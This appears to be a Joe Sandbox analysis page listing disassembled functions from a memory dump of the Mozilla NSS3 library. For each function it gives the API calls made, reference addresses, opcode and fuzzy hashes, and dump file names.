Part of subcall function 6CA889E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CA888AE,-00000008), ref: 6CA88A04
Part of subcall function 6CA889E0: EnterCriticalSection.KERNEL32(?), ref: 6CA88A15
Part of subcall function 6CA889E0: memset.VCRUNTIME140(6CA888AE,00000000,00000132), ref: 6CA88A27
Part of subcall function 6CA889E0: PR_Unlock.NSS3(?), ref: 6CA88A35

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 770679b5d8955447fdea98080a1cf3436f035853cbb81471349383f2097999d4
Instruction ID: e2e8028c1629e7a995ba7c5b341ed9efe35e780bc6594e9b3cfd3c501b6d4513
Opcode Fuzzy Hash: 770679b5d8955447fdea98080a1cf3436f035853cbb81471349383f2097999d4
Instruction Fuzzy Hash: 9251A7F5D012405FEB009F64DE81ABF37BC9F45258F190064ED09AB752FB31ED5986A2

Function 6CA7E6B0 Relevance: 12.2, APIs: 8, Instructions: 191memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6CA804DC,?,?), ref: 6CA7E6C9

Part of subcall function 6CAD14C0: TlsGetValue.KERNEL32 ref: 6CAD14E0
Part of subcall function 6CAD14C0: EnterCriticalSection.KERNEL32 ref: 6CAD14F5
Part of subcall function 6CAD14C0: PR_Unlock.NSS3 ref: 6CAD150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6CA804DC,?,?), ref: 6CA7E6D9

Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD10F3
Part of subcall function 6CAD10C0: EnterCriticalSection.KERNEL32(?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD110C
Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1141
Part of subcall function 6CAD10C0: PR_Unlock.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1182
Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD119C

memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6CA804DC,?,?), ref: 6CA7E6F4
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6CA804DC,?), ref: 6CA7E703

Part of subcall function 6CACBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CA7E708,00000000,00000000,00000004,00000000), ref: 6CACBE6A
Part of subcall function 6CACBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CA804DC,?), ref: 6CACBE7E
Part of subcall function 6CACBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CACBEC2

CERT_FindCertIssuer.NSS3(?,?,6CA804DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA7E71E

Part of subcall function 6CA7C870: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,6CA72D1A), ref: 6CA7C919

Part of subcall function 6CA7E5E0: PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6CA7E755,00000000,00000004,?,?), ref: 6CA7E5F5
Part of subcall function 6CA7E5E0: PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6CA7E62C

CERT_DestroyCertificate.NSS3(?), ref: 6CA7E8AF

Part of subcall function 6CA7E5E0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6CA7E63E
Part of subcall function 6CA7E5E0: PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6CA7E65C
Part of subcall function 6CA7E5E0: SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6CA7E68E

SECITEM_CopyItem_Util.NSS3(00000000,-00000030,?), ref: 6CA7E89E

Part of subcall function 6CACFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAC8D2D,?,00000000,?), ref: 6CACFB85
Part of subcall function 6CACFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CACFBB1

CERT_DestroyCertificate.NSS3(?), ref: 6CA7E885

Part of subcall function 6CA795B0: TlsGetValue.KERNEL32(00000000,?,6CA900D2,00000000), ref: 6CA795D2
Part of subcall function 6CA795B0: EnterCriticalSection.KERNEL32(?,?,?,6CA900D2,00000000), ref: 6CA795E7
Part of subcall function 6CA795B0: PR_Unlock.NSS3(?,?,?,?,6CA900D2,00000000), ref: 6CA79605

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Value$CopyCriticalEnterSectionUnlock$Alloc_CertificateDestroyErrorFindMark_$AlgorithmAllocAllocateCertHashIssuerK11_Tag_Zfreememcpymemset
String ID:
API String ID: 27740541-0
Opcode ID: e2c9fbc3102860f87a2e6d0e8f51af14abe3c1f9baecadc0d4315fb9ef4ca548
Instruction ID: 579c9c49db20f0c0046dadeea2220e9114baaa48ce22db7c495f3e5a8f1ddfbc
Opcode Fuzzy Hash: e2c9fbc3102860f87a2e6d0e8f51af14abe3c1f9baecadc0d4315fb9ef4ca548
Instruction Fuzzy Hash: CC618EB9D006099FEB18DF54CD41AFEB7B8FF08308F044269E9156A741F7359A89CBA1

Function 6CA66E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CA66ED8
sqlite3_value_text.NSS3(?,?), ref: 6CA66EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CA66FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CA66FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CA66FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CA67010
sqlite3_value_blob.NSS3(?,?), ref: 6CA6701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CA67052

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: e77e8159214dd4b3c21c5cebfb1c88aa5e446faa83927f049c153176a11d16b3
Instruction ID: f9041b0db9718ae52a0f6ab24c2bcc316527198cbcfbb948adf0303573a19cf3
Opcode Fuzzy Hash: e77e8159214dd4b3c21c5cebfb1c88aa5e446faa83927f049c153176a11d16b3
Instruction Fuzzy Hash: 5861D6B1E252458FDB00CF66D9007EEB7B2AF45308F184169D855EBF51E7319C89CBA0

Function 6CAD8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CAD7313), ref: 6CAD8FBB

Part of subcall function 6CAD07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA78298,?,?,?,6CA6FCE5,?), ref: 6CAD07BF
Part of subcall function 6CAD07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAD07E6
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD081B
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CAD7313), ref: 6CAD9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CAD7313), ref: 6CAD903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CAD7313), ref: 6CAD909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CAD7313), ref: 6CAD90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CAD7313), ref: 6CAD90F1

Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD10F3
Part of subcall function 6CAD10C0: EnterCriticalSection.KERNEL32(?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD110C
Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1141
Part of subcall function 6CAD10C0: PR_Unlock.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1182
Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CAD7313), ref: 6CAD906B

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CAD7313), ref: 6CAD9128

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 934eda5b51d3ad07d457d77c88c7bfd116dafb0773cc68db455ca895dd634e39
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 67518071A002018FEB509F7ADE54B26B3F9AF44358F1A4129E915D7B61EF31F884CB91

Function 6CADC6E0 Relevance: 12.1, APIs: 8, Instructions: 149COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,?,?,?,6CAD71CF,?), ref: 6CADC70F

Part of subcall function 6CAD07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA78298,?,?,?,6CA6FCE5,?), ref: 6CAD07BF
Part of subcall function 6CAD07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAD07E6
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD081B
Part of subcall function 6CAD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD0825

CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CAD71CF,?), ref: 6CADC7B1

Part of subcall function 6CA795B0: TlsGetValue.KERNEL32(00000000,?,6CA900D2,00000000), ref: 6CA795D2
Part of subcall function 6CA795B0: EnterCriticalSection.KERNEL32(?,?,?,6CA900D2,00000000), ref: 6CA795E7
Part of subcall function 6CA795B0: PR_Unlock.NSS3(?,?,?,?,6CA900D2,00000000), ref: 6CA79605

PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6CAD71CF,?), ref: 6CADC7D5
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CAD71CF,?), ref: 6CADC811
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CAD71CF,?), ref: 6CADC841
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CADC855
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6CAD71CF,?), ref: 6CADC868

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Arena_CertificateDestroyFree$ErrorHashLookupTable$ConstCriticalEnterFindSectionUnlockValue
String ID:
API String ID: 1768726504-0
Opcode ID: fc537cff35ca18c10af1df844d24871b5193ba69ef4e89025439c59b561f8c00
Instruction ID: 8fd3de9ac721ab40b6b107c937c6b363e75808f7093df257cbe0fae258f77714
Opcode Fuzzy Hash: fc537cff35ca18c10af1df844d24871b5193ba69ef4e89025439c59b561f8c00
Instruction Fuzzy Hash: 64418E75A012119BEB10AE65D984F5A73A9BF0575CBAF0124EC28DBB52F770F8C4C790

Function 6CAC2470 Relevance: 12.1, APIs: 8, Instructions: 141COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CAC2D7C,6CA99192,?), ref: 6CAC248E
EnterCriticalSection.KERNEL32(02B80138), ref: 6CAC24A2
memset.VCRUNTIME140(6CAC2D7C,00000020,6CAC2D5C), ref: 6CAC250E
memset.VCRUNTIME140(6CAC2D9C,00000020,6CAC2D7C), ref: 6CAC2535
memset.VCRUNTIME140(?,00000020,?), ref: 6CAC255C
memset.VCRUNTIME140(?,00000020,?), ref: 6CAC2583
PR_Unlock.NSS3(?), ref: 6CAC2594
PR_SetError.NSS3(00000000,00000000), ref: 6CAC25AF

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: memset$Value$CriticalEnterErrorSectionUnlock
String ID:
API String ID: 2972906980-0
Opcode ID: 7a07fe368d89223aaf39edeab7a86a7cdc8bddb87d0554d5aed22915e5501dc5
Instruction ID: 5b5461ae64aedd581e5c952505d86c0db607cde8a3ba6aa7e80c26dda2367ac9
Opcode Fuzzy Hash: 7a07fe368d89223aaf39edeab7a86a7cdc8bddb87d0554d5aed22915e5501dc5
Instruction Fuzzy Hash: B541E2B1F003459BEB019F38DC987AA3774FB59308F182669EC05D7A91F774AAC4C692

Function 6CAC05A0 Relevance: 12.1, APIs: 8, Instructions: 127memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000), ref: 6CAC05DA

Part of subcall function 6CAD0BE0: malloc.MOZGLUE(6CAC8D2D,?,00000000,?), ref: 6CAD0BF8
Part of subcall function 6CAD0BE0: TlsGetValue.KERNEL32(6CAC8D2D,?,00000000,?), ref: 6CAD0C15

TlsGetValue.KERNEL32(00000000), ref: 6CAC060C
EnterCriticalSection.KERNEL32 ref: 6CAC0629
TlsGetValue.KERNEL32(00000000), ref: 6CAC066F
EnterCriticalSection.KERNEL32 ref: 6CAC068C
PR_Unlock.NSS3 ref: 6CAC06AA
PK11_GetNextSafe.NSS3 ref: 6CAC06C3
PR_Unlock.NSS3 ref: 6CAC06F9

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$Alloc_K11_NextSafeUtilmalloc
String ID:
API String ID: 1593870348-0
Opcode ID: e5a5b9cf7f915ec5d6fdd44d3a045c641899003e99c3631393ce7bedb59cc40e
Instruction ID: 920494cd530b028ed099d400d954a80dfd703b5bec80329eba5563f5ed782a00
Opcode Fuzzy Hash: e5a5b9cf7f915ec5d6fdd44d3a045c641899003e99c3631393ce7bedb59cc40e
Instruction Fuzzy Hash: EF511AB4A057468FDB00DF79C5846AAFBF0FF45318F148929D8999B701EB70E494CB92

Function 6CACA470 Relevance: 12.1, APIs: 8, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CACA4A6

Part of subcall function 6CAD0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD08B4

PORT_Alloc_Util.NSS3(?), ref: 6CACA4EC

Part of subcall function 6CAD0BE0: malloc.MOZGLUE(6CAC8D2D,?,00000000,?), ref: 6CAD0BF8
Part of subcall function 6CAD0BE0: TlsGetValue.KERNEL32(6CAC8D2D,?,00000000,?), ref: 6CAD0C15

memcpy.VCRUNTIME140(-00000006,?,?), ref: 6CACA527
memcmp.VCRUNTIME140(00000006,?,?), ref: 6CACA56D
memcmp.VCRUNTIME140(00000006,00000006,00000004), ref: 6CACA583
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CACA596
free.MOZGLUE(?), ref: 6CACA5A4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CACA5B6

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Error$Utilmemcmp$Alloc_FindTag_Valuefreemallocmemcpy
String ID:
API String ID: 3906949479-0
Opcode ID: 2c19857514dfebbee02b6d599989425541fce865c6209d040247281e5b356ea3
Instruction ID: c187905696e0088195988cc93f7d1c593fc64a616e434c33b70e50161a6aa5fa
Opcode Fuzzy Hash: 2c19857514dfebbee02b6d599989425541fce865c6209d040247281e5b356ea3
Instruction Fuzzy Hash: 8F410935B042859FDB00CF59CC40BBABBB2AF44308F19C468D8695BB41E731ED59C7A2

Function 6CB8A6F0 Relevance: 12.1, APIs: 8, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB39890: TlsGetValue.KERNEL32(?,?,?,6CB397EB), ref: 6CB3989E

EnterCriticalSection.KERNEL32(?), ref: 6CB8A712
_PR_MD_UNLOCK.NSS3(?), ref: 6CB8A76D

Part of subcall function 6CB370F0: LeaveCriticalSection.KERNEL32(6CB80C7B), ref: 6CB3710D

calloc.MOZGLUE(00000001,0000000C), ref: 6CB8A779
_PR_CreateThread.NSS3(00000000,6CB89EA0,?,00000001,00000001,00000000,?,00000000), ref: 6CB8A79B
free.MOZGLUE(00000000), ref: 6CB8A7AB
EnterCriticalSection.KERNEL32(?), ref: 6CB8A7C5
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CB8A7FC
_PR_MD_UNLOCK.NSS3(?), ref: 6CB8A824

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalSection$Enter$CreateLeaveThreadValuecallocfree
String ID:
API String ID: 3459369588-0
Opcode ID: 324f666d038d64ff5115066ae14219b83080b87d2c7892bb76c35b9483131721
Instruction ID: bcdf4aada58aeb10b74051e0d4097fa0cc53709b3fb258b090d92ac67e6c5a8b
Opcode Fuzzy Hash: 324f666d038d64ff5115066ae14219b83080b87d2c7892bb76c35b9483131721
Instruction Fuzzy Hash: 9B417BB59007419FC710CF25C88495BBBF8FF58209B148A2AD85ED7B11EB31E956CFA1

Function 6CAB66B0 Relevance: 12.1, APIs: 8, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000010,00000000), ref: 6CAB66D0
realloc.MOZGLUE(?,?,?,?,?,00000010,00000000), ref: 6CAB66FB

Part of subcall function 6CAD4540: PORT_ZAlloc_Util.NSS3(00000001,?,-00000001,-00000001,?,6CAB6725,?,00000022,?,?,?,?,?,00000010,00000000), ref: 6CAD4581

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6CAB673A
memcpy.VCRUNTIME140(00000001,00000000,-00000001,?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6CAB6757
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6CAB676E
memcpy.VCRUNTIME140(6CAAC79F,?,?,?,?,?,00000010,00000000), ref: 6CAB6781
memcpy.VCRUNTIME140(00000001,?,-00000001,?,?,?,?,?,?,00000010,00000000), ref: 6CAB679D
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,00000010,00000000), ref: 6CAB67BC

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: memcpy$Alloc_ErrorUtilfreereallocstrlen
String ID:
API String ID: 922128022-0
Opcode ID: 28dec125e99ca0d923b4b79858bdd7f1cc4c42fb9654059193116228dbcc1853
Instruction ID: a378e174711c1f4cd850b2bc6f2bfef86a2f44e0859259f2d7399c2c41dd24a9
Opcode Fuzzy Hash: 28dec125e99ca0d923b4b79858bdd7f1cc4c42fb9654059193116228dbcc1853
Instruction Fuzzy Hash: A131C676901249AFDF11CFA8DC459AF77B8EF95304B140429E858AB340E732A959C7E2

Function 6CA94E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA94E90
EnterCriticalSection.KERNEL32 ref: 6CA94EA9
TlsGetValue.KERNEL32 ref: 6CA94EC6
EnterCriticalSection.KERNEL32 ref: 6CA94EDF
PL_HashTableLookup.NSS3 ref: 6CA94EF8
PR_Unlock.NSS3 ref: 6CA94F05
PR_Now.NSS3 ref: 6CA94F13
PR_Unlock.NSS3 ref: 6CA94F3A

Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607AD
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607CD
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607D6
Part of subcall function 6CA607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C9F204A), ref: 6CA607E4
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,6C9F204A), ref: 6CA60864
Part of subcall function 6CA607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA60880
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,6C9F204A), ref: 6CA608CB
Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608D7
Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608FB

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

